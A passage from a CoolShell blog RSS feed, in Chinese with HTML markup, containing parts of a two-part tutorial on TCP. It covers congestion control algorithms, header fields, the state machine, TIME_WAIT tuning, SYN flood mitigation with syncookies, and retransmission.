snd.fack</strong>（snd.nxt指向发送端sliding window中正在要被发送的地方——前面sliding windows图示的category#3第一个位置），这样awnd的意思就是在网络上的数据。（所谓awnd意为：actual quantity of data outstanding in the network）</li>\n</ul>\n<ul>\n<li>如果需要重传数据，那么，<strong>awnd = snd.nxt &#8211; snd.fack + retran_data</strong>，也就是说，awnd是传出去的数据 + 重传的数据。</li>\n</ul>\n<ul>\n<li>然后触发Fast Recovery 的条件是： (<strong> ( snd.fack &#8211; snd.una ) &gt; (3*MSS) </strong>) || (dupacks == 3) ) 。这样一来，就不需要等到3个duplicated acks才重传，而是只要sack中的最大的一个数据和ack的数据比较长了（3个MSS），那就触发重传。在整个重传过程中cwnd不变。直到当第一次丢包的snd.nxt&lt;=snd.una（也就是重传的数据都被确认了），然后进来拥塞避免机制——cwnd线性上涨。</li>\n</ul>\n<p>我们可以看到如果没有FACK在，那么在丢包比较多的情况下，原来保守的算法会低估了需要使用的window的大小，而需要几个RTT的时间才会完成恢复，而FACK会比较激进地来干这事。 但是，FACK如果在一个网络包会被 reordering的网络里会有很大的问题。</p>\n<h4>其它拥塞控制算法简介</h4>\n<h5><strong>TCP Vegas 拥塞控制算法</strong></h5>\n<p>这个算法1994年被提出，它主要对TCP Reno 做了些修改。这个算法通过对RTT的非常重的监控来计算一个基准RTT。然后通过这个基准RTT来估计当前的网络实际带宽，如果实际带宽比我们的期望的带宽要小或是要多的活，那么就开始线性地减少或增加cwnd的大小。如果这个计算出来的RTT大于了Timeout后，那么，不等ack超时就直接重传。（Vegas 的核心思想是用RTT的值来影响拥塞窗口，而不是通过丢包） 这个算法的论文是《<a class=\"external text\" style=\"color: #663366;\" href=\"http://www.cs.cmu.edu/~srini/15-744/F02/readings/BP95.pdf\" target=\"_blank\" rel=\"nofollow\">TCP Vegas: End to End Congestion Avoidance on a Global Internet</a>》这篇论文给了Vegas和 New Reno的对比：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11626\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-1024x555.jpg\" alt=\"\" width=\"680\" height=\"369\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-1024x555.jpg 1024w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-300x162.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-900x487.jpg 900w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno.jpg 1500w\" sizes=\"(max-width: 680px) 100vw, 680px\" /></p>\n<p>关于这个算法实现，你可以参看Linux源码：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.h\" target=\"_blank\">/net/ipv4/tcp_vegas.h</a>， <a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.c\" target=\"_blank\">/net/ipv4/tcp_vegas.c</a></p>\n<h5></h5>\n<h5 style=\"color: #000000;\">HSTCP(High Speed TCP) 算法</h5>\n<p>这个算法来自<a href=\"http://tools.ietf.org/html/rfc3649\" target=\"_blank\">RFC 3649</a>（<a href=\"http://en.wikipedia.org/wiki/HSTCP\" target=\"_blank\">Wikipedia词条</a>）。其对最基础的算法进行了更改，他使得Congestion Window涨得快，减得慢。其中：</p>\n<ul>\n<li>拥塞避免时的窗口增长方式： cwnd = cwnd + α(cwnd) / cwnd</li>\n<li>丢包后窗口下降方式：cwnd = (1- β(cwnd))*cwnd</li>\n</ul>\n<p>注：α(cwnd)和β(cwnd)都是函数，如果你要让他们和标准的TCP一样，那么让α(cwnd)=1，β(cwnd)=0.5就可以了。 对于α(cwnd)和β(cwnd)的值是个动态的变换的东西。 关于这个算法的实现，你可以参看Linux源码：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_highspeed.c\" target=\"_blank\">/net/ipv4/tcp_highspeed.c</a></p>\n<h5> TCP BIC 算法</h5>\n<p>2004年，产内出BIC算法。现在你还可以查得到相关的新闻《Google：<a href=\"https://www.google.com/search?lr=lang_zh-CN%7Clang_zh-TW&amp;newwindow=1&amp;biw=1366&amp;bih=597&amp;tbs=lr%3Alang_1zh-CN%7Clang_1zh-TW&amp;q=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D&amp;oq=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D\" target=\"_blank\">美科学家研发BIC-TCP协议 速度是DSL六千倍</a>》 BIC全称<a href=\"http://research.csc.ncsu.edu/netsrv/?q=content/bic-and-cubic\" target=\"_blank\">Binary Increase Congestion control</a>，在Linux 2.6.8中是默认拥塞控制算法。BIC的发明者发这么多的拥塞控制算法都在努力找一个合适的cwnd &#8211; Congestion Window，而且BIC-TCP的提出者们看穿了事情的本质，其实这就是一个搜索的过程，所以BIC这个算法主要用的是Binary Search——二分查找来干这个事。 关于这个算法实现，你可以参看Linux源码：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_bic.c\" target=\"_blank\">/net/ipv4/tcp_bic.c</a></p>\n<h5>TCP WestWood算法</h5>\n<p><span style=\"color: #000000;\">westwood采用和Reno相同的慢启动算法、拥塞避免算法。</span><span style=\"color: #000000;\">westwood的主要改进方面：在发送端做带宽估计，当探测到丢包时，根据带宽值来设置拥塞窗口、</span><span style=\"color: #000000;\">慢启动阈值。</span> 那么，这个算法是怎么测量带宽的？每个RTT时间，会测量一次带宽，测量带宽的公式很简单，就是这段RTT内成功被ack了多少字节。因为，这个带宽和用RTT计算RTO一样，也是需要从每个样本来平滑到一个值的——也是用一个加权移平均的公式。 另外，我们知道，如果一个网络的带宽是每秒可以发送X个字节，而RTT是一个数据发出去后确认需要的时候，所以，X * RTT应该是我们缓冲区大小。所以，在这个算法中，ssthresh的值就是est_BD * min-RTT(最小的RTT值)，如果丢包是Duplicated ACKs引起的，那么如果cwnd &gt; ssthresh，则 cwin = ssthresh。如果是RTO引起的，cwnd = 1，进入慢启动。   关于这个算法实现，你可以参看Linux源码： <a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_westwood.c\" target=\"_blank\">/net/ipv4/tcp_westwood.c</a></p>\n<h5>其它</h5>\n<p>更多的算法，你可以从Wikipedia的 <a href=\"http://en.wikipedia.org/wiki/TCP_congestion-avoidance_algorithm\" target=\"_blank\">TCP Congestion Avoidance Algorithm</a> 词条中找到相关的线索</p>\n<h4> 后记</h4>\n<p>好了，到这里我想可以结束了，TCP发展到今天，里面的东西可以写上好几本书。本文主要目的，还是把你带入这些古典的基础技术和知识中，希望本文能让你了解TCP，更希望本文能让你开始有学习这些基础或底层知识的兴趣和信心。</p>\n<p>当然，TCP东西太多了，不同的人可能有不同的理解，而且本文可能也会有一些荒谬之言甚至错误，还希望得到您的反馈和批评。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" alt=\"从一次经历谈 TIME_WAIT 的那些事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_title\">从一次经历谈 TIME_WAIT 的那些事</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/11564.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-150x150.jpg\" alt=\"TCP 的那些事儿（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11564.html\" class=\"wp_rp_title\">TCP 的那些事儿（上）</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp1-150x150.jpg\" alt=\"TCP网络关闭的状态变换时序图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_title\">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11609.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>162</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>TCP 的那些事儿（上）</title>\n\t\t<link>https://coolshell.cn/articles/11564.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11564.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 28 May 2014 00:15:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[ACK]]></category>\n\t\t<category><![CDATA[ISN]]></category>\n\t\t<category><![CDATA[MSL]]></category>\n\t\t<category><![CDATA[SACK]]></category>\n\t\t<category><![CDATA[SYN]]></category>\n\t\t<category><![CDATA[TCP]]></category>\n\t\t<category><![CDATA[TIME_WAIT]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11564</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问题和阴暗面。所以学习TCP本身是个比较痛苦的过程，但对于学习的过程却能让人有很多收获。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11564.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11564.html\">TCP 的那些事儿（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-11654\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone.jpg\" alt=\"\" width=\"360\" height=\"257\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone.jpg 495w, https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-300x214.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-379x270.jpg 379w\" sizes=\"(max-width: 360px) 100vw, 360px\" />TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问题和阴暗面。所以学习TCP本身是个比较痛苦的过程，但对于学习的过程却能让人有很多收获。关于TCP这个协议的细节，我还是推荐你去看<a href=\"http://www.kohala.com/start/\" target=\"_blank\">W.Richard Stevens</a>的《<a href=\"http://book.douban.com/subject/1088054/\" target=\"_blank\">TCP/IP 详解 卷1：协议</a>》（当然，你也可以去读一下<a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a>以及后面N多的RFC）。另外，本文我会使用英文术语，这样方便你通过这些英文关键词来查找相关的技术文档。</p>\n<p>之所以想写这篇文章，目的有三个，</p>\n<ul>\n<li>一个是想锻炼一下自己是否可以用简单的篇幅把这么复杂的TCP协议描清楚的能力。</li>\n<li>另一个是觉得现在的好多程序员基本上不会认认真真地读本书，喜欢快餐文化，所以，希望这篇快餐文章可以让你对TCP这个古典技术有所了解，并能体会到软件设计中的种种难处。并且你可以从中有一些软件设计上的收获。</li>\n<li>最重要的希望这些基础知识可以让你搞清很多以前一些似是而非的东西，并且你能意识到基础的重要。</li>\n</ul>\n<p>所以，本文不会面面俱到，只是对TCP协议、算法和原理的科普。</p>\n<p><span id=\"more-11564\"></span></p>\n<p>我本来只想写一个篇幅的文章的，但是TCP真TMD的复杂，比C++复杂多了，这30多年来，各种优化变种争论和修改。所以，写着写着就发现只有砍成两篇。</p>\n<ul>\n<li>上篇中，主要向你介绍TCP协议的定义和丢包时的重传机制。</li>\n<li>下篇中，重点介绍TCP的流迭、拥塞处理。</li>\n</ul>\n<p>废话少说，首先，我们需要知道TCP在网络OSI的七层模型中的第四层——Transport层，IP在第三层——Network层，ARP在第二层——Data Link层，在第二层上的数据，我们叫Frame，在第三层上的数据叫Packet，第四层的数据叫Segment。</p>\n<p>首先，我们需要知道，我们程序的数据首先会打到TCP的Segment中，然后TCP的Segment会打到IP的Packet中，然后再打到以太网Ethernet的Frame中，传到对端后，各个层解析自己的协议，然后把数据交给更高层的协议处理。</p>\n<h4>TCP头格式</h4>\n<p>接下来，我们来看一下TCP头的格式</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11572\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-01.jpg\" alt=\"\" width=\"700\" height=\"284\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-01.jpg 800w, https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-01-300x121.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" />TCP头格式（<a href=\"http://nmap.org/book/tcpip-ref.html\" target=\"_blank\">图片来源</a>）</p>\n<p>你需要注意这么几点：</p>\n<ul>\n<li>TCP的包是没有IP地址的，那是IP层上的事。但是有源端口和目标端口。</li>\n<li>一个TCP连接需要四个元组来表示是同一个连接（src_ip, src_port, dst_ip, dst_port）准确说是五元组，还有一个是协议。但因为这里只是说TCP协议，所以，这里我只说四元组。</li>\n<li>注意上图中的四个非常重要的东西：\n<ul>\n<li><strong>Sequence Number</strong>是包的序号，<strong>用来解决网络包乱序（reordering）问题。</strong></li>\n<li><strong>Acknowledgement Number</strong>就是ACK——用于确认收到，<strong>用来解决不丢包的问题</strong>。</li>\n<li><strong>Window又叫Advertised-Window</strong>，也就是著名的滑动窗口（Sliding Window），<strong>用于解决流控的</strong>。</li>\n<li><strong>TCP Flag</strong> ，也就是包的类型，<strong>主要是用于操控TCP的状态机的</strong>。</li>\n</ul>\n</li>\n</ul>\n<p>关于其它的东西，可以参看下面的图示</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11573\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-02.jpg\" alt=\"\" width=\"700\" height=\"214\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-02.jpg 800w, https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-02-300x91.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" /></p>\n<p style=\"text-align: center;\">（<a href=\"http://nmap.org/book/tcpip-ref.html\" target=\"_blank\">图片来源</a>）</p>\n<h4>TCP的状态机</h4>\n<p>其实，<strong>网络上的传输是没有连接的，包括TCP也是一样的</strong>。而TCP所谓的“连接”，其实只不过是在通讯的双方维护一个“连接状态”，让它看上去好像有连接一样。所以，TCP的状态变换是非常重要的。</p>\n<p>下面是：“<strong>TCP协议的状态机</strong>”（<a href=\"http://www.tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm\" target=\"_blank\">图片来源</a>） 和 “<strong>TCP建链接</strong>”、“<strong>TCP断链接</strong>”、“<strong>传数据</strong>” 的对照图，我把两个图并排放在一起，这样方便在你对照着看。另外，下面这两个图非常非常的重要，你一定要记牢。（吐个槽：看到这样复杂的状态机，就知道这个协议有多复杂，复杂的东西总是有很多坑爹的事情，所以TCP协议其实也挺坑爹的）</p>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpfsm.png\" alt=\"\" width=\"386\" height=\"550\" align=\"top\" /> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp_open_close.jpg\" alt=\"\" width=\"370\" height=\"520\" /></p>\n<p>很多人会问，为什么建链接要3次握手，断链接需要4次挥手？</p>\n<ul>\n<li><strong>对于建链接的3次握手，</strong>主要是要初始化Sequence Number 的初始值。通信的双方要互相通知对方自己的初始化的Sequence Number（缩写为ISN：Inital Sequence Number）——所以叫SYN，全称Synchronize Sequence Numbers。也就上图中的 x 和 y。这个号要作为以后的数据通信的序号，以保证应用层接收到的数据不会因为网络上的传输的问题而乱序（TCP会用这个序号来拼接数据）。</li>\n</ul>\n<ul>\n<li><strong>对于4次挥手，</strong>其实你仔细看是2次，因为TCP是全双工的，所以，发送方和接收方都需要Fin和Ack。只不过，有一方是被动的，所以看上去就成了所谓的4次挥手。如果两边同时断连接，那就会就进入到CLOSING状态，然后到达TIME_WAIT状态。下图是双方同时断连接的示意图（你同样可以对照着TCP状态机看）：</li>\n</ul>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11586\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpclosesimul.png\" alt=\"\" width=\"500\" height=\"395\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpclosesimul.png 666w, https://coolshell.cn/wp-content/uploads/2014/05/tcpclosesimul-300x236.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /><br />\n两端同时断连接（<a href=\"http://www.tcpipguide.com/free/t_TCPConnectionTermination-4.htm\" target=\"_blank\">图片来源</a>）</p>\n<p>&nbsp;</p>\n<p>另外，有几个事情需要注意一下：</p>\n<ul>\n<li><strong>关于建连接时SYN超时</strong>。试想一下，如果server端接到了clien发的SYN后回了SYN-ACK后client掉线了，server端没有收到client回来的ACK，那么，这个连接处于一个中间状态，即没成功，也没失败。于是，server端如果在一定时间内没有收到的TCP会重发SYN-ACK。在Linux下，默认重试次数为5次，重试的间隔时间从1s开始每次都翻售，5次的重试时间间隔为1s, 2s, 4s, 8s, 16s，总共31s，第5次发出后还要等32s都知道第5次也超时了，所以，总共需要 1s + 2s + 4s+ 8s+ 16s + 32s = 2^6 -1 = 63s，TCP才会把断开这个连接。</li>\n</ul>\n<ul>\n<li><strong>关于SYN Flood攻击</strong>。一些恶意的人就为此制造了SYN Flood攻击——给服务器发了一个SYN后，就下线了，于是服务器需要默认等63s才会断开连接，这样，攻击者就可以把服务器的syn连接的队列耗尽，让正常的连接请求不能处理。于是，Linux下给了一个叫<strong>tcp_syncookies</strong>的参数来应对这个事——当SYN队列满了后，TCP会通过源地址端口、目标地址端口和时间戳打造出一个特别的Sequence Number发回去（又叫cookie），如果是攻击者则不会有响应，如果是正常连接，则会把这个 SYN Cookie发回来，然后服务端可以通过cookie建连接（即使你不在SYN队列中）。请注意，<strong>请先千万别用tcp_syncookies来处理正常的大负载的连接的情况</strong>。因为，synccookies是妥协版的TCP协议，并不严谨。对于正常的请求，你应该调整三个TCP参数可供你选择，第一个是：tcp_synack_retries 可以用他来减少重试次数；第二个是：tcp_max_syn_backlog，可以增大SYN连接数；第三个是：tcp_abort_on_overflow 处理不过来干脆就直接拒绝连接了。</li>\n</ul>\n<ul>\n<li><strong>关于ISN的初始化</strong>。ISN是不能hard code的，不然会出问题的——比如：如果连接建好后始终用1来做ISN，如果client发了30个segment过去，但是网络断了，于是 client重连，又用了1做ISN，但是之前连接的那些包到了，于是就被当成了新连接的包，此时，client的Sequence Number 可能是3，而Server端认为client端的这个号是30了。全乱了。<a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a>中说，ISN会和一个假的时钟绑在一起，这个时钟会在每4微秒对ISN做加一操作，直到超过2^32，又从0开始。这样，一个ISN的周期大约是4.55个小时。因为，我们假设我们的TCP Segment在网络上的存活时间不会超过Maximum Segment Lifetime（缩写为MSL &#8211; <a href=\"http://en.wikipedia.org/wiki/Maximum_Segment_Lifetime\" target=\"_blank\">Wikipedia语条</a>），所以，只要MSL的值小于4.55小时，那么，我们就不会重用到ISN。</li>\n</ul>\n<ul>\n<li><strong>关于 MSL 和 TIME_WAIT</strong>。通过上面的ISN的描述，相信你也知道MSL是怎么来的了。我们注意到，在TCP的状态图中，从TIME_WAIT状态到CLOSED状态，有一个超时设置，这个超时设置是 2*MSL（<a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a>定义了MSL为2分钟，Linux设置成了30s）为什么要这有TIME_WAIT？为什么不直接给转成CLOSED状态呢？主要有两个原因：1）TIME_WAIT确保有足够的时间让对端收到了ACK，如果被动关闭的那方没有收到Ack，就会触发被动端重发Fin，一来一去正好2个MSL，2）有足够的时间让这个连接不会跟后面的连接混在一起（你要知道，有些自做主张的路由器会缓存IP数据包，如果连接被重用了，那么这些延迟收到的包就有可能会跟新连接混在一起）。你可以看看这篇文章《<a href=\"http://www.serverframework.com/asynchronousevents/2011/01/time-wait-and-its-design-implications-for-protocols-and-scalable-servers.html\" target=\"_blank\">TIME_WAIT and its design implications for protocols and scalable client server systems</a>》</li>\n</ul>\n<ul>\n<li><strong>关于TIME_WAIT数量太多</strong>。从上面的描述我们可以知道，TIME_WAIT是个很重要的状态，但是如果在大并发的短链接下，TIME_WAIT 就会太多，这也会消耗很多系统资源。只要搜一下，你就会发现，十有八九的处理方式都是教你设置两个参数，一个叫<strong>tcp_tw_reuse</strong>，另一个叫<strong>tcp_tw_recycle</strong>的参数，这两个参数默认值都是被关闭的，后者recyle比前者resue更为激进，resue要温柔一些。另外，如果使用tcp_tw_reuse，必需设置tcp_timestamps=1，否则无效。这里，你一定要注意，<strong>打开这两个参数会有比较大的坑——可能会让TCP连接出一些诡异的问题</strong>（因为如上述一样，如果不等待超时重用连接的话，新的连接可能会建不上。正如<a href=\"https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt\" target=\"_blank\">官方文档</a>上说的一样“<strong>It should not be changed without advice/request of technical experts</strong>”）。</li>\n</ul>\n<ul>\n<ul style=\"padding-left: 30px;\">\n<li><strong>关于tcp_tw_reuse</strong>。官方文档上说tcp_tw_reuse 加上tcp_timestamps（又叫PAWS, for Protection Against Wrapped Sequence Numbers）可以保证协议的角度上的安全，但是你需要tcp_timestamps在两边都被打开（你可以读一下<a href=\"http://lxr.free-electrons.com/ident?i=tcp_twsk_unique\">tcp_twsk_unique</a>的源码<span style=\"color: #000000;\"> </span>）。我个人估计还是有一些场景会有问题。</li>\n</ul>\n</ul>\n<ul style=\"padding-left: 30px;\">\n<ul>\n<li><strong>关于tcp_tw_recycle</strong>。如果是tcp_tw_recycle被打开了话，会假设对端开启了tcp_timestamps，然后会去比较时间戳，如果时间戳变大了，就可以重用。但是，如果对端是一个NAT网络的话（如：一个公司只用一个IP出公网）或是对端的IP被另一台重用了，这个事就复杂了。建链接的SYN可能就被直接丢掉了（你可能会看到connection time out的错误）（如果你想观摩一下Linux的内核代码，请参看源码<a href=\"http://lxr.free-electrons.com/ident?i=tcp_timewait_state_process\"> tcp_timewait_state_process</a>）。</li>\n</ul>\n</ul>\n<ul style=\"padding-left: 30px;\">\n<ul>\n<li><strong style=\"color: #373737;\">关于tcp_max_tw_buckets</strong>。这个是控制并发的TIME_WAIT的数量，默认值是180000，如果超限，那么，系统会把多的给destory掉，然后在日志里打一个警告（如：<span style=\"color: #373737;\">time wait bucket table overflow</span>），官网文档说这个参数是用来对抗DDoS攻击的。也说的默认值180000并不小。这个还是需要根据实际情况考虑。</li>\n</ul>\n</ul>\n<p><strong>Again，使用tcp_tw_reuse和tcp_tw_recycle来解决TIME_WAIT的问题是非常非常危险的，因为这两个参数违反了TCP协议（<a href=\"http://tools.ietf.org/html/rfc1122\" target=\"_blank\">RFC 1122</a>） </strong></p>\n<p>其实，TIME_WAIT表示的是你主动断连接，所以，这就是所谓的“不作死不会死”。试想，如果让对端断连接，那么这个破问题就是对方的了，呵呵。另外，如果你的服务器是于HTTP服务器，那么设置一个<a href=\"http://en.wikipedia.org/wiki/HTTP_persistent_connection\" target=\"_blank\">HTTP的KeepAlive</a>有多重要（浏览器会重用一个TCP连接来处理多个HTTP请求），然后让客户端去断链接（你要小心，浏览器可能会非常贪婪，他们不到万不得已不会主动断连接）。</p>\n<h4>数据传输中的Sequence Number</h4>\n<p>下图是我从Wireshark中截了个我在访问coolshell.cn时的有数据传输的图给你看一下，SeqNum是怎么变的。（使用Wireshark菜单中的Statistics -&gt;Flow Graph&#8230; ）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11595\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp_data_seq_num.jpg\" alt=\"\" width=\"381\" height=\"361\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp_data_seq_num.jpg 381w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_data_seq_num-300x284.jpg 300w\" sizes=\"(max-width: 381px) 100vw, 381px\" /></p>\n<p>你可以看到，<strong>SeqNum的增加是和传输的字节数相关的</strong>。上图中，三次握手后，来了两个Len:1440的包，而第二个包的SeqNum就成了1441。然后第一个ACK回的是1441，表示第一个1440收到了。</p>\n<p><strong>注意</strong>：如果你用Wireshark抓包程序看3次握手，你会发现SeqNum总是为0，不是这样的，Wireshark为了显示更友好，使用了Relative SeqNum——相对序号，你只要在右键菜单中的protocol preference 中取消掉就可以看到“Absolute SeqNum”了</p>\n<h4>TCP重传机制</h4>\n<p>TCP要保证所有的数据包都可以到达，所以，必需要有重传机制。</p>\n<p>注意，接收端给发送端的Ack确认只会确认最后一个连续的包，比如，发送端发了1,2,3,4,5一共五份数据，接收端收到了1，2，于是回ack 3，然后收到了4（注意此时3没收到），此时的TCP会怎么办？我们要知道，因为正如前面所说的，<strong>SeqNum和Ack是以字节数为单位，所以ack的时候，不能跳着确认，只能确认最大的连续收到的包</strong>，不然，发送端就以为之前的都收到了。</p>\n<h5>超时重传机制</h5>\n<p>一种是不回ack，死等3，当发送方发现收不到3的ack超时后，会重传3。一旦接收方收到3后，会ack 回 4——意味着3和4都收到了。</p>\n<p>但是，这种方式会有比较严重的问题，那就是因为要死等3，所以会导致4和5即便已经收到了，而发送方也完全不知道发生了什么事，因为没有收到Ack，所以，发送方可能会悲观地认为也丢了，所以有可能也会导致4和5的重传。</p>\n<p>对此有两种选择：</p>\n<ul>\n<li>一种是仅重传timeout的包。也就是第3份数据。</li>\n<li>另一种是重传timeout后所有的数据，也就是第3，4，5这三份数据。</li>\n</ul>\n<p>这两种方式有好也有不好。第一种会节省带宽，但是慢，第二种会快一点，但是会浪费带宽，也可能会有无用功。但总体来说都不好。因为都在等timeout，timeout可能会很长（在下篇会说TCP是怎么动态地计算出timeout的）</p>\n<h5>快速重传机制</h5>\n<p>于是，TCP引入了一种叫<strong>Fast Retransmit</strong> 的算法，<strong>不以时间驱动，而以数据驱动重传</strong>。也就是说，如果，包没有连续到达，就ack最后那个可能被丢了的包，如果发送方连续收到3次相同的ack，就重传。Fast Retransmit的好处是不用等timeout了再重传。</p>\n<p>比如：如果发送方发出了1，2，3，4，5份数据，第一份先到送了，于是就ack回2，结果2因为某些原因没收到，3到达了，于是还是ack回2，后面的4和5都到了，但是还是ack回2，因为2还是没有收到，于是发送端收到了三个ack=2的确认，知道了2还没有到，于是就马上重转2。然后，接收端收到了2，此时因为3，4，5都收到了，于是ack回6。示意图如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11599\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/FASTIncast021.png\" alt=\"\" width=\"450\" height=\"291\" 